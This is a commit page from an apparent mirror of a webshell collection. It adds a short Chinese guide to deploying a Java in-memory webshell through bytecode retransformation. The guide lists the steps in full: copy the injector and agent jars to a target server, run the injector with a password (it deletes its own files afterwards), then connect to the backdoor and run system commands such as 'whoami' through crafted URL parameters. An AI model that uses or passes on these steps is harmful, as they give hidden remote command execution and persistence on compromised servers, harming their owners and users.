mirror of
https://github.com/tennc/webshell
synced 2024-11-22 03:03:03 +00:00
Create retransform字节码.md
from: https://github.com/jweny/MemShellDemo/tree/master/MemShellForJava/%E5%AD%97%E8%8A%82%E7%A0%81%E5%A2%9E%E5%BC%BA%E5%9E%8B/retransform%E5%AD%97%E8%8A%82%E7%A0%81
This commit is contained in:
parent
8898dbb7a6
commit
0196c72a01
1 changed files with 19 additions and 0 deletions
19
java/字节码增强型/retransform字节码.md
Normal file
19
java/字节码增强型/retransform字节码.md
Normal file
|
@ -0,0 +1,19 @@
|
|||
将release中的inject.jar agent.jar复制目标服务器。
|
||||
|
||||
运行inject.jar:
|
||||
|
||||
(测试时注意备份,会删除自身和agent.jar)
|
||||
|
||||
```jsp
|
||||
java -jar inject.jar 123
|
||||
```
|
||||
|
||||
连接内存马:
|
||||
```jsp
|
||||
http://ip:port/1.jsp?pass_the_world=123&model=chopper
|
||||
```
|
||||
|
||||
执行命令:
|
||||
```jsp
|
||||
http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami
|
||||
```
|
Loading…
Reference in a new issue